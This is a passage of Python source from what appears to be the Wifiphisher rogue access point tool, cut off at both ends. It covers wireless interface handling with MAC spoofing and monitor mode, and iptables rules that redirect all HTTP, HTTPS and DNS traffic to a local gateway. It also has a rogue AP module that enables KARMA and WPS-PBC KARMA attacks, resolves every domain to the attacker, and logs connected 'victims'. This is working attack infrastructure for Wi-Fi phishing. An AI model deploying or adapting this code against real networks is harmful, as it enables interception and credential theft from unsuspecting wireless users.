        :rtype: None
        """

        message = "The provided interface \"{0}\" is invalid!".format(
            interface_name)

        # provide more information if mode is given
        if mode:
            message += "Interface {0} doesn't support {1} mode".format(
                interface_name, mode)

        Exception.__init__(self, message)


class InvalidMacAddressError(Exception):
    """
    Exception class to raise in case of specifying invalid mac address
    """

    def __init__(self, mac_address):
        """
        Construct the class

        :param self: A InvalidMacAddressError object
        :param mac_address: A MAC address
        :type self: InvalidMacAddressError
        :type mac_address: str
        :return: None
        :rtype: None
        """
        message = "The MAC address could not be set. (Tried {0})".format(mac_address)
        Exception.__init__(self, message)


class InvalidValueError(Exception):
    """
    Exception class to raise in case of a invalid value is supplied
    """

    def __init__(self, value, correct_value_type):
        """
        Construct the class

        :param self: A InvalidValueError object
        :param value_type: The value supplied
        :param correct_value_type: The correct value type
        :type self: InvalidValueError
        :type value_type: any
        :type correct_value_type: any
        :return: None
        :rtype: None
        """

        value_type = type(value)

        message = ("Expected value type to be {0} while got {1}.".format(
            correct_value_type, value_type))
        Exception.__init__(self, message)


class InterfaceCantBeFoundError(Exception):
    """
    Exception class to raise in case of a invalid value is supplied
    """

    def __init__(self, interface_modes):
        """
        Construct the class

        :param self: A InterfaceCantBeFoundError object
        :param interface_modes: Modes of interface required
        :type self: InterfaceCantBeFoundError
        :type interface_modes: tuple
        :return: None
        :rtype: None
        .. note: For interface_modes the tuple should contain monitor
            mode as first argument followed by AP mode
        """

        monitor_mode = interface_modes[0]
        ap_mode = interface_modes[1]

        message = "Failed to find an interface with "

        # add appropriate mode
        if monitor_mode:
            message += "monitor"
        elif ap_mode:
            message += "AP"

        message += " mode"

        Exception.__init__(self, message)


class InterfaceManagedByNetworkManagerError(Exception):
    """
    Exception class to raise in case of NetworkManager controls the AP or deauth interface
    """

    def __init__(self, interface_name):
        """
        Construct the class.
        :param self: An InterfaceManagedByNetworkManagerError object
        :param interface_name: Name of interface
        :type self: InterfaceManagedByNetworkManagerError
        :type interface_name: str
        :return: None
        :rtype: None
        """

        message = (
            "Interface \"{0}\" is controlled by NetworkManager."
            "You need to manually set the devices that should be ignored by NetworkManager "
            "using the keyfile plugin (unmanaged-directive). For example, '[keyfile] "
            "unmanaged-devices=interface-name:\"{0}\"' needs to be added in your "
            "NetworkManager configuration file.".format(interface_name))
        Exception.__init__(self, message)


class NetworkAdapter(object):
    """ This class represents a network interface """

    def __init__(self, name, card_obj, mac_address):
        """
        Setup the class with all the given arguments

        :param self: A NetworkAdapter object
        :param name: Name of the interface
        :param card_obj: A pyric.pyw.Card object
        :param mac_address: The MAC address of interface
        :type self: NetworkAdapter
        :type name: str
        :type card_obj: pyric.pyw.Card
        :type mac_address: str
        :return: None
        :rtype: None
        """

        # Setup the fields
        self._name = name
        self._has_ap_mode = False
        self._has_monitor_mode = False
        self._is_managed_by_nm = False
        self._card = card_obj
        self._original_mac_address = mac_address
        self._current_mac_address = mac_address

    @property
    def name(self):
        """
        Return the name of the interface

        :param self: A NetworkAdapter object
        :type self: NetworkAdapter
        :return: The name of the interface
        :rtype: str
        """

        return self._name

    @property
    def is_managed_by_nm(self):
        """
        Return whether the interface controlled by NetworkManager

        :param self: A NetworkAdapter object
        :type self: NetworkAdapter
        :return: True if interface is controlled by NetworkManager
        :rtype: bool
        """
        return self._is_managed_by_nm

    @is_managed_by_nm.setter
    def is_managed_by_nm(self, value):
        """
        Set whether the interface is controlled by NetworkManager

        :param self: A NetworkAdapter object
        :param value: A value representing interface controlled by NetworkManager
        :type self: NetworkAdapter
        :type value: bool
        :return: None
        :rtype: None
        :raises InvalidValueError: When the given value is not bool
        """

        if isinstance(value, bool):
            self._is_managed_by_nm = value
        else:
            raise InvalidValueError(value, bool)

    @property
    def has_ap_mode(self):
        """
        Return whether the interface supports AP mode

        :param self: A NetworkAdapter object
        :type self: NetworkAdapter
        :return: True if interface supports AP mode and False otherwise
        :rtype: bool
        """

        return self._has_ap_mode

    @has_ap_mode.setter
    def has_ap_mode(self, value):
        """
        Set whether the interface supports AP mode

        :param self: A NetworkAdapter object
        :param value: A value representing AP mode support
        :type self: NetworkAdapter
        :type value: bool
        :return: None
        :rtype: None
        :raises InvalidValueError: When the given value is not bool
        """

        if isinstance(value, bool):
            self._has_ap_mode = value
        else:
            raise InvalidValueError(value, bool)

    @property
    def has_monitor_mode(self):
        """
        Return whether the interface supports monitor mode

        :param self: A NetworkAdapter object
        :type self: NetworkAdapter
        :return: True if interface supports monitor mode and False otherwise
        :rtype: bool
        """

        return self._has_monitor_mode

    @has_monitor_mode.setter
    def has_monitor_mode(self, value):
        """
        Set whether the interface supports monitor mode

        :param self: A NetworkAdapter object
        :param value: A value representing monitor mode support
        :type self: NetworkAdapter
        :type value: bool
        :return: None
        :rtype: None
        :raises InvalidValueError: When the given value is not bool
        """

        if isinstance(value, bool):
            self._has_monitor_mode = value
        else:
            raise InvalidValueError(value, bool)

    @property
    def card(self):
        """
        Return the card object associated with the interface

        :param self: A NetworkAdapter object
        :type self: NetworkAdapter
        :return: The card object
        :rtype: pyric.pyw.Card
        """

        return self._card

    @property
    def mac_address(self):
        """
        Return the current MAC address of the interface

        :param self: A NetworkAdapter object
        :type self: NetworkAdapter
        :return: The MAC of the interface
        :rtype: str
        """

        return self._current_mac_address

    @mac_address.setter
    def mac_address(self, value):
        """
        Set the MAC address of the interface

        :param self: A NetworkAdapter object
        :param value: A value representing monitor mode support
        :type self: NetworkAdapter
        :type value: str
        :return: None
        :rtype: None
        """

        self._current_mac_address = value

    @property
    def original_mac_address(self):
        """
        Return the original MAC address of the interface

        :param self: A NetworkAdapter object
        :type self: NetworkAdapter
        :return: The original MAC of the interface
        :rtype: str
        """

        return self._original_mac_address


class NetworkManager(object):
    """
    This class represents a network manager where it handles all the management
    for the interfaces.
    """

    def __init__(self):
        """
        Setup the class with all the given arguments.

        :param self: A NetworkManager object
        :type self: NetworkManager
        :return: None
        :rtype: None
        """

        self._name_to_object = dict()
        self._active = set()
        self._exclude_shutdown = set()
        self._internet_access_enable = False
        self._vifs_add = set()

    @property
    def internet_access_enable(self):
        """
        Return whether an interface will be used to provide Internet access

        :param self: A NetworkManager object
        :type self: NetworkManager
        :return: None
        :rtype: None
        """
        return self._internet_access_enable

    @internet_access_enable.setter
    def internet_access_enable(self, value):
        """
        Set the internet access

        :param self: A NetworkManager object
        :type self: NetworkManager
        :return: None
        :rtype: None
        """

        if isinstance(value, bool):
            self._internet_access_enable = value
        else:
            raise InvalidValueError(value, bool)
    
    def nm_unmanage(self, interface):
        """
        Set an interface to unmanaged.
        :param interface: Name of the interface
        :type interface: str
        :return: True upon success
        :rtype: bool
        """
        try:
            proc = Popen(['nmcli', 'dev', 'set', interface, 'manage', 'no'], stderr=PIPE)
            err = proc.communicate()[1]
        except:
            logger.error("Failed to make NetworkManager unmanage interface {0}: {1}".format(interface, err))
            raise InterfaceManagedByNetworkManagerError(interface)
        # Ensure that the interface is unmanaged
        if is_managed_by_network_manager(interface):
            raise InterfaceManagedByNetworkManagerError(interface)

    def is_interface_valid(self, interface_name, mode=None):
        """
        Check if interface is valid

        :param self: A NetworkManager object
        :param interface_name: Name of an interface
        :param mode: The mode of the interface to be checked
        :type self: NetworkManager
        :type interface_name: str
        :type mode: str
        :return: True if interface is valid
        :rtype: bool
        :raises InvalidInterfaceError: If the interface is invalid or the interface
        has been chosen in the set _active
        :raises InterfaceManagedByNetworkManagerError: If the card is managed and
                is being used as deauth/ap mode
        .. note: The available modes are monitor, AP, WPS and internet
            The internet adapter should be put in the _exclude_shutdown set
            so that it will not be shutdown after the program exits.
        """

        try:
            interface_adapter = self._name_to_object[interface_name]
        except KeyError:
            # if mode is internet and not wireless card bypass the check
            if mode == "internet":
                return True
            else:
                raise InvalidInterfaceError(interface_name)

        # add to _exclude_shutdown set if the card is internet adapter
        if mode == "internet" or mode == "WPS":
            self._exclude_shutdown.add(interface_name)
        # raise an error if interface doesn't support the mode
        if mode != "internet" and interface_adapter.is_managed_by_nm\
                and self.internet_access_enable:
                self.nm_unmanage(interface_name)
        if mode == "monitor" and not interface_adapter.has_monitor_mode:
            raise InvalidInterfaceError(interface_name, mode)
        elif mode == "AP" and not interface_adapter.has_ap_mode:
            raise InvalidInterfaceError(interface_name, mode)

        # raise an error if interface is already in the _active set
        if interface_name in self._active:
            raise InvalidInterfaceError(interface_name)

        self._active.add(interface_name)
        return True

    def up_interface(self, interface_name):
        """
        Equivalent to ifconfig interface_name up

        :param self: A NetworkManager object
        :param interface_name: Name of an interface
        :type self: NetworkManager
        :type interface_name: str
        :return: None
        :rtype: None
        ..note: Let the pywifiphisher decide when to up the
        interface since some cards cannot up two virtual interface
        with managed mode in the same time.
        """

        card = self._name_to_object[interface_name].card
        pyw.up(card)

    def down_interface(self, interface_name):
        """
        Equivalent to ifconfig interface_name down

        :param self: A NetworkManager object
        :param interface_name: Name of an interface
        :type self: NetworkManager
        :type interface_name: str
        :return: None
        :rtype: None
        """

        card = self._name_to_object[interface_name].card
        pyw.down(card)

    def set_interface_mac(self, interface_name, mac_address=None):
        """
        Set the specified MAC address for the interface

        :param self: A NetworkManager object
        :param interface_name: Name of an interface
        :param mac_address: A MAC address
        :type self: NetworkManager
        :type interface_name: str
        :type mac_address: str
        :return: new MAC
        :rtype: str
        .. note: This method will set the interface to managed mode
        """

        if not mac_address:
            mac_address = generate_random_address()

        self._name_to_object[interface_name].mac_address = mac_address
        card = self._name_to_object[interface_name].card
        self.set_interface_mode(interface_name, "managed")

        self.down_interface(interface_name)
        # card must be turned off(down) before setting mac address
        try:
            pyw.macset(card, mac_address)
        # make sure to catch an invalid mac address
        except pyric.error as error:
            raise InvalidMacAddressError(mac_address)
        return mac_address

    def get_interface_mac(self, interface_name):
        """
        Return the MAC address of the interface

        :param self: A NetworkManager object
        :param interface_name: Name of an interface
        :type self: NetworkManager
        :type interface_name: str
        :return: Interface MAC address
        :rtype: str
        """

        return self._name_to_object[interface_name].mac_address

    def set_interface_mode(self, interface_name, mode):
        """
        Set the specified mode for the interface

        :param self: A NetworkManager object
        :param interface_name: Name of an interface
        :param mode: Mode of an interface
        :type self: NetworkManager
        :type interface_name: str
        :type mode: str
        :return: None
        :rtype: None
        .. note: Available modes are unspecified, ibss, managed, AP
            AP VLAN, wds, monitor, mesh, p2p
            Only set the mode when card is in the down state
        """

        card = self._name_to_object[interface_name].card
        self.down_interface(interface_name)
        # set interface mode between brining it down and up
        pyw.modeset(card, mode)

    def get_interface(self, has_ap_mode=False, has_monitor_mode=False):
        """
        Return the name of a valid interface with modes supplied

        :param self: A NetworkManager object
        :param has_ap_mode: AP mode support
        :param has_monitor_mode: Monitor mode support
        :type self: NetworkManager
        :type has_ap_mode: bool
        :type has_monitor_mode: bool
        :return: Name of valid interface
        :rtype: str
        .. raises InterfaceCantBeFoundError: When an interface with
            supplied modes can't be found
        .. raises InterfaceManagedByNetworkManagerError: When the chosen
        interface is managed by NetworkManager
        .. note: This method guarantees that an interface with perfect
            match will be returned if available
        """

        possible_adapters = list()
        for interface, adapter in list(self._name_to_object.items()):
            # check to make sure interface is not active and not already in the possible list
            if (interface not in self._active) and (
                    adapter not in possible_adapters):
                # in case of perfect match case
                if (adapter.has_ap_mode == has_ap_mode
                        and adapter.has_monitor_mode == has_monitor_mode):
                    possible_adapters.insert(0, adapter)

                # in case of requested AP mode and interface has AP mode (Partial match)
                elif has_ap_mode and adapter.has_ap_mode:
                    possible_adapters.append(adapter)
                # in case of requested monitor mode and interface has monitor mode (Partial match)
                elif has_monitor_mode and adapter.has_monitor_mode:
                    possible_adapters.append(adapter)

        # From all possible interface candidates,
        # give priority to those we may have created
        our_vifs = []
        for wlan in self._vifs_add:
            for adapter in possible_adapters:
                if wlan.dev == adapter.name:
                    our_vifs.append(adapter)

        for adapter in our_vifs + possible_adapters:
            if ((not adapter.is_managed_by_nm and self.internet_access_enable)
                    or (not self.internet_access_enable)):
                chosen_interface = adapter.name
                self._active.add(chosen_interface)
                return chosen_interface

        if possible_adapters:
            raise InterfaceManagedByNetworkManagerError("ALL")
        else:
            raise InterfaceCantBeFoundError((has_monitor_mode, has_ap_mode))

    def get_interface_automatically(self):
        """
        Returns a tuple of two interfaces
        :param self: A NetworkManager object
        :param self: NetworkManager
        :return: Name of monitor interface followed by AP interface
        :rtype: tuple
        """

        monitor_interface = self.get_interface(has_monitor_mode=True)
        ap_interface = self.get_interface(has_ap_mode=True)

        return (monitor_interface, ap_interface)

    def unblock_interface(self, interface_name):
        """
        Unblock interface if it is blocked

        :param self: A NetworkManager object
        :param interface_name: Name of an interface
        :type self: NetworkManager
        :type interface_name: str
        :return: None
        :rtype: None
        """

        card = self._name_to_object[interface_name].card

        # unblock card if it is blocked

        try: 
            if pyw.isblocked(card):
                pyw.unblock(card)
        except pyric.error:
                pass
 
    def set_interface_channel(self, interface_name, channel):
        """
        Set the channel for the interface

        :param self: A NetworkManager object
        :param interface_name: Name of an interface
        :param channel: A channel number
        :type self: NetworkManager
        :type interface_name: str
        :type channel: int
        :return: None
        :rtype: None
        """

        card = self._name_to_object[interface_name].card

        pyw.chset(card, channel)

    def add_virtual_interface(self, card):
        """
        Add the virtual interface to the host system
        :param self: A NetworkManager object
        :param card: A pyw.Card object
        :type self: NetworkManager
        :type card: pyw.Card
        :return name of the interface
        :rtype str
        :..note: when add the interface it is possible raising the
        pyric.error causing by adding the duplicated wlan interface
        name.
        """

        done_flag = True
        number = -1
        while done_flag:
            try:
                number += 1
                name = 'wfphshr-wlan' + str(number)
                pyw.down(card)
                monitor_card = pyw.devadd(card, name, 'monitor')
                done_flag = False
            # catch if wlan1 is already exist
            except pyric.error:
                pass

        self._vifs_add.add(monitor_card)
        return name

    def remove_vifs_added(self):
        """
        Remove all the added virtual interfaces
        :param self: A NetworkManager object
        :type self: NetworkManager
        :return: None
        :rtype: None
        """

        for card in self._vifs_add:
            pyw.devdel(card)

    def start(self, args):
        """
        Start the network manager

        :param self: A NetworkManager object
        :type self: NetworkManager
        :param args: An argparse.Namespace object
        :type args: argparse.Namespace
        :return: None
        :rtype: None
        """

        # populate our dictionary with all the available interfaces on the system
        for interface in pyw.interfaces():
            try:
                card = pyw.getcard(interface)
                mac_address = pyw.macget(card)
                adapter = NetworkAdapter(interface, card, mac_address)
                self._name_to_object[interface] = adapter
                interface_property_detector(adapter)
            # ignore devices that are not supported(93) and no such device(19)
            except pyric.error as error:
                if error.args[0] in (93, 19):
                    pass
                elif interface == args.internetinterface:
                    return False
                else:
                    raise error

    def on_exit(self):
        """
        Perform a clean up for the class

        :param self: A NetworkManager object
        :type self: NetworkManager
        :return: None
        :rtype: None
        ..note: The cards in _exclude_shutdown will not set to the original mac address
                since these cards are not changed the mac addresses by the program.
        """

        for interface in self._active:
            if interface not in self._exclude_shutdown:
                adapter = self._name_to_object[interface]
                mac_address = adapter.original_mac_address
                self.set_interface_mac(interface, mac_address)
        # remove all the virtual added virtual interfaces
        self.remove_vifs_added()


def is_add_vif_required(main_interface, internet_interface, wpspbc_assoc_interface):
    """
    Return the card if only that card support both monitor and ap
    :param args: Arguemnt from pywifiphisher
    :type args: parse.args
    :return: tuple of card and is_frequency_hop_allowed
    :rtype: tuple
    """

    def get_perfect_card(phy_map_vifs, vif_score_tups):
        """
        Get the perfect card that both supports ap and monitor when we
        have only one phy interface can do that
        :param phy_map_vifs: phy number maps to the virtual interfaces
        :param vif_score_tups: list of tuple containing card and score
        :type phy_map_vifs: dict
        :type vif_score_tups: list
        :return tuple of card and single_perfect_phy_case
        :rtype: tuple
        """
        # case 1 : one phy maps to one virtual interface
        if len(phy_map_vifs) == 1 and len(list(phy_map_vifs.values())[0]) == 1:
            # only take the first tuple
            vif_score_tuple = vif_score_tups[0]
            card = vif_score_tuple[0]
            score = vif_score_tuple[1]
            # if this card support both monitor and AP mode
            if score == 2:
                return card, True
        # case 2 : one phy maps to multiple virtual interfaces
        # we don't need to create one more virtual interface in this case
        elif len(phy_map_vifs) == 1 and len(list(phy_map_vifs.values())[0]) > 1:
            return None, True
        # case 3 : we have multiple phy interfaces but only
        # one card support both monitor and AP and the other
        # ones just support the managed mode only
        elif len(phy_map_vifs) > 1:
            if vif_score_tups[0][1] == 2 and vif_score_tups[1][1] == 0:
                return vif_score_tups[0][0], True
        return None, False

    # map the phy interface to virtual interfaces
    # i.e. phy0 to wlan0
    phy_to_vifs = defaultdict(list)

    # map the phy# to the virtual interface tuples
    for vif in [vif for vif in pyw.interfaces() if pyw.iswireless(vif)]:
        # excluding the card that used for internet accessing
        # setup basic card information
        score = 0
        if vif == internet_interface or vif == wpspbc_assoc_interface:
            continue
        else:
            card = pyw.getcard(vif)
            phy_number = card.phy
        supported_modes = pyw.devmodes(card)

        if "monitor" in supported_modes:
            score += 1
        if "AP" in supported_modes:
            score += 1

        phy_to_vifs[phy_number].append((card, score))
    # each phy number map to a sublist containing (card, score)
    vif_score_tuples = [sublist[0] for sublist in list(phy_to_vifs.values())]
    # sort with score
    vif_score_tuples = sorted(vif_score_tuples, key=lambda tup: -tup[1])
    use_one_phy = False
    # check the user-provided args.interface
    if main_interface:
        card = pyw.getcard(main_interface)
        phy_number = card.phy
        if phy_to_vifs[card.phy][0][1] == 2:
            perfect_card = card
            use_one_phy = True
        else:
            raise InvalidInterfaceError(main_interface)
    else:
        perfect_card, use_one_phy = get_perfect_card(
            phy_to_vifs, vif_score_tuples)

    return perfect_card, use_one_phy


def is_managed_by_network_manager(interface_name):
    """
    Check if the interface is managed by NetworkManager
    At this point NetworkManager may or may not be running.
    If it's not running, nothing is returned.

    :param interface_name: An interface name
    :type interface_name: str
    :return if managed by NetworkManager return True
    :rtype: bool
    """

    is_managed = False
    try:
        nmcli_process = Popen(['/bin/sh', '-c', 'export LC_ALL=C; nmcli dev; unset LC_ALL'],
        stdout=constants.DN,
        stderr=PIPE)
        out, err = nmcli_process.communicate()

        if err == None and out != "":
            for l in out.splitlines():
                #TODO: If the device is managed and user has nmcli installed,
                # we can probably do a "nmcli dev set wlan0 managed no"
                if interface_name in l:
                    if "unmanaged" not in l:
                        is_managed = True
                else:
                    # Ignore until we make handle logging registers properly.
                    pass
                    #logger.error("Failed to make NetworkManager ignore interface %s", interface_name)
        else:
            # Ignore until we make handle logging registers properly.
            pass
            #logger.error("Failed to check if interface %s is managed by NetworkManager", interface_name)

        nmcli_process.stdout.close();

    # NetworkManager service is not running so the devices must be unmanaged
    # (CalledProcessError)
    # Or nmcli is not installed...
    except:
        pass

    return bool(is_managed)


def interface_property_detector(network_adapter):
    """
    Add appropriate properties of the interface such as supported modes
    and wireless type(wireless)

    :param network_adapter: A NetworkAdapter object
    :type interface_name: NetworkAdapter
    :return: None
    :rtype: None
    """

    supported_modes = pyw.devmodes(network_adapter.card)

    # check for monitor, AP and wireless mode support
    if "monitor" in supported_modes:
        network_adapter.has_monitor_mode = True
    if "AP" in supported_modes:
        network_adapter.has_ap_mode = True

    interface_name = network_adapter.name
    network_adapter.is_managed_by_nm = is_managed_by_network_manager(
        interface_name)


def is_wireless_interface(interface_name):
    """
    Check if the interface is wireless interface

    :param interface_name: Name of an interface
    :type interface_name: str
    :return: True if the interface is wireless interface
    :rtype: bool
    """

    if pyw.iswireless(interface_name):
        return True
    return False


def generate_random_address():
    """
    Make and return the randomized MAC address

    :return: A MAC address
    :rtype str
    .. warning: The first 3 octets are 00:00:00 by default
    """

    mac_address = constants.DEFAULT_OUI + ":{:02x}:{:02x}:{:02x}".format(
        random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
    return mac_address


def does_have_mode(interface, mode):
    """
    Return whether the provided interface has the mode

    :param interface: Name of the interface
    :param mode: Mode of operation
    :type interface: str
    :type mode: str
    :return: True if interface has the mode and False otherwise
    :rtype: bool
    :Example:

        >>> does_have_mode("wlan0", "AP")
        True

        >>> does_have_mode("wlan1", "monitor")
        False
    """
    card = pyric.pyw.getcard(interface)

    return mode in pyric.pyw.devmodes(card)



File: wifiphisher/common/firewall.py

"""Serves as an abstraction layer in front of iptables."""

from __future__ import (absolute_import, division, print_function,
                        unicode_literals)

from wifiphisher.common.constants import NETWORK_GW_IP, PORT, SSL_PORT
from wifiphisher.common.utilities import execute_commands


class Fw():
    """Handles all iptables operations."""

    @staticmethod
    def nat(internal_interface, external_interface):
        # type: (str, str) -> None
        """Do NAT."""
        execute_commands([
            "iptables -t nat -A POSTROUTING -o {} -j MASQUERADE".format(
                external_interface),
            "iptables -A FORWARD -i {} -o {} -j ACCEPT".format(
                internal_interface, external_interface)
        ])

    @staticmethod
    def clear_rules():
        # type: () -> None
        """Clear all rules."""
        execute_commands([
            "iptables -F", "iptables -X", "iptables -t nat -F",
            "iptables -t nat -X"
        ])

    @staticmethod
    def redirect_requests_localhost():
        # type: () -> None
        """Redirect HTTP, HTTPS & DNS requests to localhost.

        Redirect the following requests to localhost:
            * HTTP (Port 80)
            * HTTPS (Port 443)
            * DNS (Port 53)
        """
        execute_commands([
            "iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT "
            "--to-destination {}:{}".format(NETWORK_GW_IP, PORT),
            "iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT "
            "--to-destination {}:{}".format(NETWORK_GW_IP, 53),
            "iptables -t nat -A PREROUTING -p tcp --dport 53 -j DNAT "
            "--to-destination {}:{}".format(NETWORK_GW_IP, 53),
            "iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT "
            "--to-destination {}:{}".format(NETWORK_GW_IP, SSL_PORT)
        ])

    def on_exit(self):
        # type: () -> None
        """Start the clean up."""
        self.clear_rules()



File: wifiphisher/common/accesspoint.py

"""This module was made to fork the rogue access point."""

from __future__ import (absolute_import, division, print_function,
                        unicode_literals)

import os
import subprocess
import time
from subprocess import check_output

import roguehostapd.apctrl as apctrl
import roguehostapd.config.hostapdconfig as hostapdconfig
import wifiphisher.common.constants as constants
import wifiphisher.common.victim as victim


class AccessPoint(object):
    """This class forks the softAP."""

    # Instance will be stored here.
    __instance = None

    @staticmethod
    def get_instance():
        """Return the instance of the class or create new if none exists."""
        if AccessPoint.__instance is None:
            AccessPoint()
        return AccessPoint.__instance

    def __init__(self):
        # type: () -> None
        """Initialize the class."""
        if AccessPoint.__instance:
            raise Exception("Error: AccessPoint class is a singleton!")
        else:
            AccessPoint.__instance = self

        self.interface = ""
        self.internet_interface = ""
        self.channel = ""
        self.essid = ""
        self.presharedkey = ""
        self.force_hostapd = False
        # roguehostapd object
        self.hostapd_object = None
        self.deny_mac_addrs = []
        self.dns_conf_path = constants.DNS_CONF_PATH

    def start_dhcp_dns(self):
        # type: () -> None
        """Start the dhcp server."""
        config = ('no-resolv\n' 'interface=%s\n' 'dhcp-range=%s\n')

        with open(self.dns_conf_path, 'w') as dhcpconf:
            dhcpconf.write(config % (self.interface, constants.DHCP_LEASE))

        with open(self.dns_conf_path, 'a+') as dhcpconf:
            if self.internet_interface:
                dhcpconf.write("server=%s" % (constants.PUBLIC_DNS, ))
            else:
                dhcpconf.write("address=/google.com/172.217.5.78\n")
                dhcpconf.write("address=/clients3.google.com/172.217.11.174\n")
                dhcpconf.write("address=/#/%s " % (constants.NETWORK_GW_IP, ))
        # catch the exception if dnsmasq is not installed
        try:
            subprocess.Popen(
                ['dnsmasq', '-C', self.dns_conf_path],
                stdout=subprocess.PIPE,
                stderr=constants.DN)
        except OSError:
            print("[{}!{}] dnsmasq is not installed!".format(
                constants.R, constants.W))
            raise Exception

        subprocess.Popen(
            ['ifconfig', str(self.interface), 'mtu', '1400'],
            stdout=constants.DN,
            stderr=constants.DN)

        subprocess.Popen(
            [
                'ifconfig',
                str(self.interface), 'up', constants.NETWORK_GW_IP, 'netmask',
                constants.NETWORK_MASK
            ],
            stdout=constants.DN,
            stderr=constants.DN)
        # Give it some time to avoid "SIOCADDRT: Network is unreachable"
        time.sleep(1)
        # Make sure that we have set the network properly.
        proc = subprocess.check_output(['ifconfig', str(self.interface)])
        if constants.NETWORK_GW_IP not in proc.decode('utf-8'):
            return False
        subprocess.call(('route add -net %s netmask %s gw %s' %
                         (constants.NETWORK_IP, constants.NETWORK_MASK,
                          constants.NETWORK_GW_IP)),
                        shell=True)

    def start(self, disable_karma=False):
        """Start the softAP."""
        # create the configuration for roguehostapd
        hostapd_config = {
            "ssid": self.essid,
            "interface": self.interface,
            "channel": self.channel,
            "deny_macs": self.deny_mac_addrs,
        }
        if self.presharedkey:
            hostapd_config['wpa2password'] = self.presharedkey
        self.hostapd_object = apctrl.Hostapd()
        if not self.force_hostapd:
            try:
                # Enable KARMA attack if needed
                if not disable_karma:
                    hostapd_config["karma_enable"] = 1
                # Enable WPSPBC KARMA attack
                hostapd_config["wpspbc"] = True
                hostapd_options = {
                    'mute': True,
                    'timestamp': False,
                    "eloop_term_disable": True
                }
                self.hostapd_object.start(hostapd_config, hostapd_options)
            except KeyboardInterrupt:
                raise Exception
            except BaseException:
                print(
                    "[{}!{}] Roguehostapd is not installed in the system! Please install"
                    " roguehostapd manually (https://github.com/wifiphisher/roguehostapd)"
                    " and rerun the script. Otherwise, you can run the tool with the"
                    " --force-hostapd option to use hostapd but please note that using"
                    " Wifiphisher with hostapd instead of roguehostapd will turn off many"
                    " significant features of the tool.".format(
                        constants.R, constants.W))
                # just raise exception when hostapd is not installed
                raise Exception
        else:
            # use the hostapd on the users' system
            self.hostapd_object.create_hostapd_conf_file(hostapd_config, {})
            try:
                self.hostapd_object = subprocess.Popen(
                    ['hostapd', hostapdconfig.ROGUEHOSTAPD_RUNTIME_CONFIGPATH],
                    stdout=constants.DN,
                    stderr=constants.DN)
            except OSError:
                print(
                    "[{}!{}] hostapd is not installed in the system! Please download it"
                    " using your favorite package manager (e.g. apt-get install hostapd) and "
                    "rerun the script.".format(constants.R, constants.W))
                # just raise exception when hostapd is not installed
                raise Exception

            time.sleep(2)
            if self.hostapd_object.poll() is not None:
                print("[{}!{}] hostapd failed to lunch!".format(
                    constants.R, constants.W))
                raise Exception

    def on_exit(self):
        # type: () -> None
        """Clean up the resoures when exits."""
        subprocess.call('pkill dnsmasq', shell=True)
        try:
            self.hostapd_object.stop()
        except BaseException:
            subprocess.call('pkill hostapd', shell=True)
            if os.path.isfile(hostapdconfig.ROGUEHOSTAPD_RUNTIME_CONFIGPATH):
                os.remove(hostapdconfig.ROGUEHOSTAPD_RUNTIME_CONFIGPATH)
            if os.path.isfile(hostapdconfig.ROGUEHOSTAPD_DENY_MACS_CONFIGPATH):
                os.remove(hostapdconfig.ROGUEHOSTAPD_DENY_MACS_CONFIGPATH)

        if os.path.isfile('/var/lib/misc/dnsmasq.leases'):
            os.remove('/var/lib/misc/dnsmasq.leases')
        if os.path.isfile('/tmp/dhcpd.conf'):
            os.remove('/tmp/dhcpd.conf')
        # sleep 2 seconds to wait all the hostapd process is
        # killed
        time.sleep(2)

    def read_connected_victims_file(self):
        """Update the Victims dictionary by reading dnsmasq.leases file."""
        if (not os.path.isfile('/var/lib/misc/dnsmasq.leases')):
            return
        with open("/var/lib/misc/dnsmasq.leases", "r") as dnsmasq_leases:
            for line in dnsmasq_leases:
                line = line.split()
                if not line:
                    return
                mac_address = line[1].strip()
                ip_address = line[2].strip()
                # Get instance of victims dic
                victims_instance = victim.Victims.get_instance()
                if mac_address in victims_instance.victims_dic:
                    existing_victim = victims_instance.victims_dic[mac_address]
                    if ip_address == existing_victim.ip_address:
                        return
                    existing_victim.assign_ip_to_victim(mac_address, ip_address)
                else:
                    new_victim = victim.Victim(mac_address, ip_address)
                    victims_instance.add_to_victim_dic(new_victim)
                    new_victim.associate_victim_mac_to_vendor(mac_address)



File: wifiphisher/common/uimethods.py

import importlib
from functools import wraps

import wifiphisher.common.constants


def uimethod(func):
    def _decorator(data, *args, **kwargs):
        response = func(data, *args, **kwargs)
        return response

    func.is_uimethod = True
    return wraps(func)(_decorator)



File: wifiphisher/common/globals.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# pylint: skip-file

ALL_2G_CHANNELS = list(range(1, 14))



File: wifiphisher/common/macmatcher.py

"""
This module was made to match MAC address with vendors
"""

import wifiphisher.common.constants as constants


class MACMatcher(object):
    """
    This class handles Organizationally Unique Identifiers (OUIs).
    The original data comes from http://standards.ieee.org/regauth/
    oui/oui.tx

    .. seealso:: http://standards.ieee.org/faqs/OUI.html
    """

    def __init__(self, mac_vendor_file):
        """
        Setup the class with all the given arguments

        :param self: A MACMatcher object
        :param mac_vendor_file: The path of the vendor file
        :type self: MACMatcher
        :type mac_vendor_file: string
        :return: None
        :rtype: None
        """

        self._mac_to_vendor = {}
        self._vendor_file = mac_vendor_file

        # get the information in the vendor file
        self._get_vendor_information()

    def _get_vendor_information(self):
        """
        Read and process all the data in the vendor file

        :param self: A MACMatcher object
        :type self: MACMatcher
        :return: None
        :rtype: None
        """

        # open the file with all the MAC addresses and
        # vendor information
        with open(self._vendor_file, 'r') as _file:
            # check every line in the file
            for line in _file:
                # skip comment lines
                if not line.startswith("#"):
                    # separate vendor and MAC addresses and add it
                    # to the dictionary
                    separated_line = line.rstrip('\n').split('|')
                    mac_identifier = separated_line[0]
                    vendor = separated_line[1]
                    logo = separated_line[2]
                    self._mac_to_vendor[mac_identifier] = (vendor, logo)

    def get_vendor_name(self, mac_address):
        """
        Return the matched vendor name for the given MAC address
        or Unknown if no match is found

        :param self: A MACMatcher object
        :param mac_address: MAC address of device
        :type self: MACMatcher
        :type mac_address: string
        :return: The vendor name of the device if MAC address is found
                 and Unknown otherwise
        :rtype: string
        """

        # Don't bother if there's no MAC
        if mac_address is None:
            return None

        # convert mac address to same format as file
        # ex. 12:34:56:78:90:AB --> 123456
        mac_identifier = mac_address.replace(':', '').upper()[0:6]

        # try to find the vendor and if not found return unknown
        try:
